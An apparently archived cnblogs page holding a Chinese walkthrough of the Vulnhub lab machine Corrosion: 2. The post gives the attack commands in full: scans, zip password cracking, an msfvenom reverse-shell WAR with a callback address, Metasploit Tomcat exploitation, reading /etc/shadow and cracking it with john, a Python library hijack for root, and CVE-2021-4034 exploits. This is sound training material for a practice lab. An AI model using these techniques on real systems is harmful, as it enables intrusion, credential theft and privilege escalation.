www.cnblogs.com Open in urlscan Pro
121.40.43.188  Public Scan

Form analysis
1 forms found in the DOM

GET https://zzk.cnblogs.com/s

<form id="zzk_search" class="navbar-search" action="https://zzk.cnblogs.com/s" method="get" role="search">
  <input name="w" id="zzk_search_input" placeholder="代码改变世界" type="search" tabindex="3">
  <button type="submit" id="zzk_search_button">
    <img src="//common.cnblogs.com/images/blog/search.svg" alt="搜索">
  </button>
</form>

Text Content

 * 
 * 首页
 * 新闻
 * 博问
 * 专区
 * 闪存
 * 班级

 * 
 * 我的博客 我的园子 账号设置 简洁模式 ... 退出登录
   注册 登录


UPFINE




 * 博客园
 * 首页
 * 新随笔
 * 联系
 * 订阅
 * 管理

随笔 - 59  文章 - 0  评论 - 2  阅读 - 7435


VULNHUB靶场之CORROSION: 2



准备：

攻击机：虚拟机kali、本机win10。

靶机：CORROSION:
2，网段地址我这里设置的桥接，所以与本机电脑在同一网段，下载地址：https://download.vulnhub.com/corrosion/Corrosion2.ova.torrent，下载后直接vbox打开即可。

知识点：CVE-2021-4034漏洞利用、fcrackzip爆破zip文件密码、tomcat获取shell（知账户和密码）、unshadow生成密码本、john爆破密码。



信息收集：

通过nmap扫描下网段内的存活主机地址，确定下靶机的地址：nmap -sn 192.168.100.0/24，获得靶机地址：192.168.100.244。



扫描下开放的端口和对应的服务：nmap -T4 -sV -p- -A
192.168.100.244，显示开放了22、80、8080端口，开启了ssh服务、apache服务。



使用dirmap进行目录扫描，80端口未发现有用信息，但是在8080端口发现readme.txt、backup.zip等文件，扫描命令：python
dirmap.py -i http://192.168.100.244:8080/ -lcf。



访问下80端口，在80端口的源代码页面中发现让我们查看https://launchpad.net/bugs/1288690网页。





访问下8080端口和端口的readme.txt文件，下载backup.zip文件进行解压查看，但是需要密码。





信息利用：

使用zip密码爆破工具（fcrackzip）进行密码爆破，命令：fcrackzip -D -p /usr/share/wordlists/rockyou.txt
-u backup.zip，获得密码：@administrator_hi5。



在解压的tomcat-users.xml文件中发现两组账户和密码：manager/melehifokivai、admin/melehifokivai。



使用账户名和密码在8080端口登录。



想着部署项目实现shell反弹，但是失败了，war包生成命令：msfvenom -p java/jsp_shell_reverse_tcp
LHOST=192.168.100.166 LPORT=6688 -f war -o upfine.war，在本地上传部署后，访问下该服务。



shell获取：

在msf中存在一个配合账号和密码获取tomcat shell权限的exp。



选择该exp：use 6，设置下账号、密码、ip信息、端口信息，然后run即可。





使用当前用户在系统里查看下目录信息和文件信息，在/home下发现两个用户文件夹，但是/jaye的文件夹无权限查看，在randy文件下下发现了note.txt和user.txt进行查看，获得第一个flag。



越权访问：

在虚拟机的初始界面存在三个账户：jaye、randy、tomcat，发现jaye账户使用密码：melehifokivai可以成功登录或者使用xshell登录。



使用jaye账户查看下目录信息和文件信息，在jaye账户下的Files文件下下发现具有root权限和当前账户可执行权限的look命令，在/root文件下发现root.txt文件，因此直接使用look命令读取下root.txt信息，成功获取到flag值。



权限提升：（两种方法）

第一种：

在jaye账户下，使用look命令读取下/etc/shadow文件和/etc/passwd文件，命令：./look ''
文件名，将文件内容复制到本地使用unshadow生成密码本，然后进行暴力破解，生成密码本命令：unshadow passwd shadow >
pass.txt。





使用john进行密码爆破，命令：john --wordlist=/usr/share/wordlists/rockyou.txt
pass.txt，获得两组账户名和密码：melehifokivai/jaye、07051986randy/randy，第一组和前面的猜测一样。emmm时间是真的长，差不多五个小时跑出来的，可以在晚上跑。



使用ssh服务登录randy账户，查看下当前用户有哪些可以不需要root密码就可拥有root权限的文件，发现了randombase64.py。



查看下该文件权限，发现当前用户不具备该文件的写入权限，查看该文件内容，发现其引入了base64模块。



查看下base64文件的位置，命令：locate base64。



查看下base64.py的权限，发现当前用户具有读写权限，因此我们可以在此文件中写入shell脚本。



写入脚本时缺少vim命令，只能采用nano来编辑py文件，写入：import os 和 os.system("/bin/bash")。





shell写入完成后，运行 randombase64.py，命令：sudo /usr/bin/python3.8
/home/randy/randombase64.py，成功获取到root权限并读取flag值。



第二种：

首先查看下不需要root密码可以执行的root权限命令，sudo -l，显示不存在，这个行不通。



查看下具有root权限的文件，命令：find / -perm -4000 -type f
2>/dev/null，发现/usr/lib/policykit-1/polkit-agent-helper-1，



下载exp在本地进行编译（make）：https://github.com/berdav/CVE-2021-4034，然后将编译好的文件上传到靶机。



在执行时出现了错误，显示：/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not
found，就对比了一下靶机和本地的该文件，发现靶机不存在这个GLIBC_2.34，命令：strings
/usr/lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC。





但是生成的脚本在kali中测试是可以直接获取root权限的，（这里想着把靶机的文件复制过来就行了，但是直接导致kali命令都不能用了，还好有个镜像，直接恢复镜像了）没办法就只能重新找可利用的exp，这个网站：https://github.com/arthepsy/CVE-2021-4034，下载下来poc进行gcc编译，然后上传到靶机进行执行即可获得root权限。








分类: vulnhub靶场
好文要顶 关注我 收藏该文
upfine
粉丝 - 3 关注 - 3



+加关注
0
0



« 上一篇： vulnhub靶场之NOOB: 1
posted @ 2022-11-02 12:50  upfine  阅读(7)  评论(0)  编辑  收藏  举报

刷新评论刷新页面返回顶部
登录后才能查看或发表评论，立即 登录 或者 逛逛 博客园首页

【推荐】阿里云金秋云创季，云服务器2核2G低至49.68元/年



编辑推荐：
· .NET 零开销抽象指南
· .Net Core & RabbitMQ 限制循环消费
· .NET API 接口数据传输加密最佳实践
· C# RulesEngine 规则引擎：从入门到看懵
· 是什么让 .NET7 的 Min 和 Max 方法性能暴增了45倍？

即构专区：
· VUE+WebRTC实现音视频直播
· Web视频通话时怎么美颜？教你3步轻松搞定！
· 如何基于 ZEGO SDK 实现 Windows 一对一音视频聊天应用
· Android实现仿微信实时语音对讲功能｜与女友游戏开黑
· 如何基于 IM 即时通讯 SDK 从零开发仿微信聊天交友功能




公告

昵称： upfine
园龄： 6个月
粉丝： 3
关注： 3
+加关注




搜索

 
 


常用链接

 * 我的随笔
 * 我的评论
 * 我的参与
 * 最新评论
 * 我的标签




积分与排名

 * 积分 - 7596
 * 排名 - 126561


随笔分类

 * BUUCTF刷题记录(45)
 * header(3)
 * md5强碰撞(1)
 * sql注入(15)
 * ssi注入(1)
 * SSTI注入(5)
 * vulnhub靶场(10)
 * xml实体注入(2)
 * xss(1)
 * 靶场环境搭建(1)
 * 变量覆盖(1)
 * 代码审计(1)
 * 代码泄露(2)
 * 第三方工具漏洞(1)
 * 反序列化漏洞(4)
 * 函数特性(1)
 * 命令执行(2)
 * 身份信息伪造(2)
 * 伪协议(1)
 * 未分类(1)
 * 文件上传(1)
 * 正则表达式过滤(1)


阅读排行榜

 * 1. [NCTF2019]SQLi-1||SQL注入(721)
 * 2. [WUSTCTF2020]颜值成绩查询-1(355)
 * 3. AWD平台搭建及遇到的问题分析(346)
 * 4. [极客大挑战 2019]BabySQL-1|SQL注入(304)
 * 5. [MRCTF2020]Ezpop-1|php序列化(299)


评论排行榜

 * 1. [NCTF2019]SQLi-1||SQL注入(2)


推荐排行榜

 * 1. [NCTF2019]SQLi-1||SQL注入(2)
 * 2. [HFCTF2020]EasyLogin-1|JWT身份伪造(1)
 * 3. [GYCTF2020]Ezsqli-1|SQL注入(1)
 * 4. [SWPU2019]Web1-1|SQL注入(1)
 * 5. [安洵杯 2019]easy_web-1(1)


最新评论

 * 1. Re:[NCTF2019]SQLi-1||SQL注入
 * @Heather_muzi 嘿嘿，感谢支持...
 * --upfine
 * 2. Re:[NCTF2019]SQLi-1||SQL注入

 * 真不搓

 * --Heather_muzi



Copyright © 2022 upfine
Powered by .NET 6 on Kubernetes